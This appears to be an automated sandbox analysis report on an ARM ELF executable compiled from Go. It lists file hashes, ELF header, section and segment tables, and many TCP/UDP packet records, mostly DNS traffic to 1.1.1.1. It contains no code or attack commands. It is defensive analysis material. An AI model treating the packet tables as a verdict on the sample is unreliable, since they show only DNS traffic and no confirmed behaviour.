SHA256:	5b1c5fca09994aa52e8e572d48c6569b04b531cd334f3e4d4e1fc2c3e77ce0cf
SHA512:	245af8ba5b83069bb51d11735545dd72c9dafad667fc4ba3a2e19f9de254df8ce8ee21f003bfa2487553ffe4639a64a6aa729fe6e75d96345cf53c6bc43e500c
SSDEEP:	24576:JgCbFbDVZ7bVCj3ozPQPTUkrtQ05OYRWNOrdErF4ff1kRrxnyVhv8uofvsRWA1SH:VCWpuM2T1s
TLSH:	8BA50857B8918542C4E42677ACBE81C833635EB99B8663266D04FE3C3EBF2D90E35354
File Content Preview:	.ELF..............(.........4...........4. ...(.........4...4...4...................................d...d............................3...3...........................[...[...........................K..............Q.td...............................e.......

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x7c8b8
Flags:	0x5000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	7
Section Header Offset:	276
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	3

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.text	PROGBITS	0x11000	0x1000	0xf23a8	0x0	0x6	AX	4
.rodata	PROGBITS	0x110000	0x100000	0x49270	0x0	0x2	A	8
.shstrtab	STRTAB	0x0	0x149270	0x98	0x0	0x0		1
.typelink	PROGBITS	0x159308	0x149308	0x8dc	0x0	0x2	A	8
.itablink	PROGBITS	0x159be8	0x149be8	0x120	0x0	0x2	A	8
.gosymtab	PROGBITS	0x159d08	0x149d08	0x0	0x0	0x2	A	1
.gopclntab	PROGBITS	0x159d08	0x149d08	0x8beb8	0x0	0x2	A	8
.go.buildinfo	PROGBITS	0x1f0000	0x1e0000	0xf0	0x0	0x3	WA	16
.noptrdata	PROGBITS	0x1f00f0	0x1e00f0	0x10a6c	0x0	0x3	WA	8
.data	PROGBITS	0x200b60	0x1f0b60	0x3fb0	0x0	0x3	WA	8
.bss	NOBITS	0x204b10	0x1f4b10	0x10974	0x0	0x3	WA	8
.noptrbss	NOBITS	0x215488	0x205488	0x4390	0x0	0x3	WA	8
.note.go.buildid	NOTE	0x10f9c	0xf9c	0x64	0x0	0x2	A	4

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
PHDR	0x34	0x10034	0x10034	0xe0	0xe0	2.2492	0x4	R	0x10000
NOTE	0xf9c	0x10f9c	0x10f9c	0x64	0x64	5.3457	0x4	R	0x4	.note.go.buildid
LOAD	0x0	0x10000	0x10000	0xf33a8	0xf33a8	5.6811	0x5	R E	0x10000	.text .note.go.buildid
LOAD	0x100000	0x110000	0x110000	0xd5bc0	0xd5bc0	5.4755	0x4	R	0x10000	.rodata .typelink .itablink .gosymtab .gopclntab
LOAD	0x1e0000	0x1f0000	0x1f0000	0x14b10	0x29818	5.2304	0x6	RW	0x10000	.go.buildinfo .noptrdata .data .bss .noptrbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4
LOOS+5041580	0x0	0x0	0x0	0x0	0x0	0.0000	0x2a00		0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 2, 2024 04:00:29.378820896 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.383708000 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:29.383776903 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.383776903 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.388748884 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:30.043508053 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:30.043695927 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:31.071271896 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:31.076143980 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:31.426858902 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:31.427004099 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:35.619549036 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:35.624655008 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:35.923459053 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:35.923607111 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:37.977830887 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:37.982676983 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:38.107640982 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:38.107821941 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:46.395159006 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:46.400008917 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:46.523484945 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:46.523755074 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:48.572616100 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:48.577420950 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:48.701781034 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:48.701899052 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:51.784427881 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:51.789295912 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:51.913733006 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:51.913839102 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:00.115861893 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:00.120728016 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:00.245505095 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:00.245636940 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:04.353087902 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:04.353137016 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:04.357924938 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:04.357939005 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:04.490729094 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:04.490858078 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:06.543150902 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:06.547946930 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:06.670914888 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:06.671041012 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:11.812635899 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:11.818008900 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:11.941391945 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:11.941625118 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:15.015521049 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:15.020380974 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:15.145137072 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:15.145232916 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:17.275593996 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:17.280368090 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:17.404349089 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:17.404443979 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:25.705465078 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:25.710237980 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:25.834666014 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:25.835037947 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:35.836116076 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:35.836441040 CET	56170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:35.841437101 CET	53	56170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:36.181859016 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:36.186739922 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:36.186850071 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:36.186868906 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:36.191723108 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:36.806293964 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:36.806539059 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:45.099395990 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:45.104264021 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:45.228540897 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:45.228636026 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:46.253848076 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:46.258742094 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:46.382420063 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:46.382798910 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:56.385404110 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:56.385982990 CET	56296	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:56.390885115 CET	53	56296	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:03.994229078 CET	56350	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:03.999356985 CET	53	56350	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:03.999418020 CET	56350	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:03.999429941 CET	56350	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:04.005223989 CET	53	56350	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:04.643105984 CET	53	56350	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:04.643450975 CET	56350	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:12.842777014 CET	56350	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:12.847578049 CET	53	56350	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:13.188297033 CET	53	56350	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:13.188676119 CET	56350	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:20.414351940 CET	56350	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:20.419121027 CET	53	56350	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:20.782176018 CET	53	56350	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:20.782365084 CET	56350	53	192.168.2.13	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 2, 2024 04:00:29.328685045 CET	45046	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.334534883 CET	50426	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.335458040 CET	53	45046	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:29.341455936 CET	53	50426	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:29.361829042 CET	41503	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.365037918 CET	48213	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.369029999 CET	53	41503	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:29.369118929 CET	41503	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.372047901 CET	53	48213	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:29.372133017 CET	48213	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:29.375684977 CET	53	41503	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:29.378710032 CET	53	48213	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:31.055942059 CET	56171	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:31.056000948 CET	48487	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:31.063100100 CET	53	48487	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:31.063185930 CET	48487	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:31.063862085 CET	53	56171	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:31.063918114 CET	56171	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:31.069735050 CET	53	48487	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:31.071196079 CET	53	56171	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:32.436165094 CET	47219	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:32.436300993 CET	51364	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:32.443392992 CET	53	51364	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:32.443481922 CET	51364	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:32.443665028 CET	53	47219	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:32.443717003 CET	47219	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:32.449963093 CET	53	51364	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:32.450231075 CET	53	47219	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:33.463413954 CET	58095	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:33.463465929 CET	58985	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:33.472079992 CET	53	58985	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:33.472204924 CET	53	58095	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:33.472213984 CET	58985	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:33.472264051 CET	58095	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:33.480552912 CET	53	58985	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:33.480565071 CET	53	58095	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:34.493273020 CET	41045	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:34.493422985 CET	52980	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:34.500528097 CET	53	52980	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:34.500610113 CET	52980	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:34.507229090 CET	53	52980	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:34.585655928 CET	53	41045	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:34.585834026 CET	41045	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:34.593234062 CET	53	41045	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:35.605370998 CET	46435	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:35.606091976 CET	43075	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:35.612685919 CET	53	46435	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:35.612786055 CET	46435	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:35.612870932 CET	53	43075	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:35.612931967 CET	43075	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:35.619365931 CET	53	46435	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:35.619381905 CET	53	43075	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:36.935549974 CET	55156	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:36.936116934 CET	52437	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:36.942589045 CET	53	55156	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:36.942675114 CET	55156	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:36.943073034 CET	53	52437	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:36.943129063 CET	52437	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:36.949161053 CET	53	55156	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:36.949690104 CET	53	52437	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:37.963660955 CET	41574	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:37.964215040 CET	38303	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:37.971003056 CET	53	41574	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:37.971095085 CET	41574	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:37.971302032 CET	53	38303	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:37.971363068 CET	38303	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:37.977596998 CET	53	41574	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:37.977754116 CET	53	38303	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:39.119353056 CET	38929	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:39.119996071 CET	51288	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:39.126749992 CET	53	38929	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:39.126826048 CET	38929	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:39.127074003 CET	53	51288	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:39.127124071 CET	51288	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:39.133905888 CET	53	38929	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:39.133918047 CET	53	51288	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:40.144972086 CET	46755	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:40.146644115 CET	58055	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:40.234523058 CET	53	58055	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:40.234709024 CET	58055	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:40.236795902 CET	53	46755	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:40.236871958 CET	46755	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:40.241204977 CET	53	58055	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:40.243437052 CET	53	46755	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:41.252237082 CET	58370	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:41.252449036 CET	44646	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:41.260718107 CET	53	58370	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:41.260814905 CET	58370	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:41.261459112 CET	53	44646	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:41.261522055 CET	44646	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:41.267745972 CET	53	58370	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:41.268261909 CET	53	44646	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:42.277725935 CET	57885	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:42.278636932 CET	43007	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:42.285463095 CET	53	57885	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:42.285649061 CET	57885	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:42.285815954 CET	53	43007	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:42.285962105 CET	43007	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:42.292536974 CET	53	57885	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:42.292542934 CET	53	43007	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:43.302158117 CET	39511	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:43.302263975 CET	39668	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:43.309340954 CET	53	39511	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:43.309443951 CET	53	39668	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:43.309459925 CET	39511	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:43.309510946 CET	39668	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:43.316014051 CET	53	39511	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:43.316083908 CET	53	39668	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:44.332089901 CET	50009	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:44.333889961 CET	54501	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:44.339272976 CET	53	50009	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:44.339396954 CET	50009	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:44.340743065 CET	53	54501	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:44.340814114 CET	54501	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:44.346036911 CET	53	50009	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:44.347601891 CET	53	54501	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:45.356273890 CET	46245	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:45.358294010 CET	54892	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:45.363070011 CET	53	46245	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:45.363146067 CET	46245	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:45.365804911 CET	53	54892	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:45.365885973 CET	54892	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:45.369822979 CET	53	46245	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:45.372522116 CET	53	54892	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:46.381026983 CET	38142	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:46.381789923 CET	54134	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:46.388448000 CET	53	38142	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:46.388546944 CET	38142	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:46.388560057 CET	53	54134	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:46.388617992 CET	54134	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:46.395032883 CET	53	38142	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:46.395045042 CET	53	54134	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:47.534023046 CET	51992	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:47.534181118 CET	46540	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:47.541131020 CET	53	51992	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:47.541207075 CET	53	46540	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:47.541243076 CET	51992	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:47.541271925 CET	46540	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:47.547892094 CET	53	46540	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:47.547907114 CET	53	51992	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:48.557614088 CET	40859	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:48.558425903 CET	51155	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:48.565283060 CET	53	40859	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:48.565438986 CET	40859	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:48.565840006 CET	53	51155	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:48.565920115 CET	51155	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:48.572484970 CET	53	40859	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:48.572938919 CET	53	51155	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:49.716011047 CET	49181	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:49.718998909 CET	45979	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:49.723732948 CET	53	49181	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:49.723825932 CET	49181	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:49.726142883 CET	53	45979	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:49.726212978 CET	45979	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:49.730379105 CET	53	49181	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:49.732702017 CET	53	45979	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:50.743427992 CET	57270	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:50.746252060 CET	47427	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:50.750705957 CET	53	57270	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:50.750791073 CET	57270	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:50.753669024 CET	53	47427	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:50.753737926 CET	47427	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:50.757991076 CET	53	57270	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:50.760869026 CET	53	47427	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:51.770268917 CET	51563	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:51.771292925 CET	48543	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:51.777635098 CET	53	51563	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:51.777730942 CET	51563	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:51.779865980 CET	53	48543	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:51.779973984 CET	48543	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:51.784257889 CET	53	51563	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:51.786617994 CET	53	48543	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:52.924540997 CET	38427	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:52.924721003 CET	44665	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:52.931595087 CET	53	44665	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:52.931679964 CET	44665	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:52.931706905 CET	53	38427	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:52.931772947 CET	38427	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:52.938222885 CET	53	44665	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:52.938651085 CET	53	38427	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:53.951622963 CET	51405	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:53.952467918 CET	52731	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:53.958734989 CET	53	51405	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:53.958828926 CET	51405	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:53.959361076 CET	53	52731	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:53.959424973 CET	52731	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:53.965542078 CET	53	51405	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:53.965810061 CET	53	52731	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:54.977883101 CET	40010	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:54.978406906 CET	56637	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:54.985018969 CET	53	40010	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:54.985107899 CET	40010	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:54.985373020 CET	53	56637	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:54.985440969 CET	56637	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:54.991873980 CET	53	40010	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:54.992127895 CET	53	56637	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:56.004038095 CET	59521	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:56.004220963 CET	60966	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:56.011658907 CET	53	60966	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:56.011684895 CET	53	59521	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:56.011765003 CET	60966	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:56.011795044 CET	59521	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:00:56.018381119 CET	53	59521	1.1.1.1	192.168.2.13
Nov 2, 2024 04:00:56.018392086 CET	53	60966	1.1.1.1	192.168.2.13
